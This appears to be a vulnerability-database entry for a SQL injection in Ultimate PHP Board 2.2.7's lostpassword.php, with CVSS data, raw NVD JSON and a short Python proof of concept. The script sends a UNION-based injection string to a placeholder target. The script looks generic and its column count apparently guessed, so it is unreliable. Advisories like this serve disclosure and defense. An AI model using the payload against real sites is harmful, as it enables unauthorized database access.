Security Vulnerability Report
中文
CVE-2025-61540 CVSS 6.5 MEDIUM

CVE-2025-61540

Published: 2025-10-16 15:15:35
Last Modified: 2025-10-21 12:12:15

Description

SQL injection vulnerability in Ultimate PHP Board 2.2.7 via the username field in lostpassword.php.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:myupb:ultimate_php_board:2.2.7:*:*:*:*:*:*:* - VULNERABLE
Ultimate PHP Board (myUPB) 2.2.7

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-61540 - Ultimate PHP Board 2.2.7 SQL Injection PoC # Vulnerability: SQL injection via username field in lostpassword.php import requests TARGET_URL = "http://target.com/lostpassword.php" # Crafted SQL injection payload targeting the username field # The payload closes the original SQL string and injects a UNION-based query payload = "' UNION SELECT 1,2,3,4,5,6,7,8,9,10-- -" # Send the malicious request data = { "username": payload, "submit": "Submit" } response = requests.post(TARGET_URL, data=data) # Check if injection was successful if "error" in response.text.lower() or "warning" in response.text.lower(): print("[+] Possible SQL injection detected!") else: print("[*] Response received, analyze output for data leakage") print(response.text[:500])

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-61540", "sourceIdentifier": "[email protected]", "published": "2025-10-16T15:15:34.583", "lastModified": "2025-10-21T12:12:14.517", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "SQL injection vulnerability in Ultimate PHP Board 2.2.7 via the username field in lostpassword.php."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:myupb:ultimate_php_board:2.2.7:*:*:*:*:*:*:*", "matchCriteriaId": "C075409F-21FB-40B9-A36A-632E8F66ABD5"}]}]}], "references": [{"url": "https://github.com/PHP-Outburst/myUPB?tab=readme-ov-file", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/bugdotexe/Vulnerability-Research/tree/main/CVE-2025-61540", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}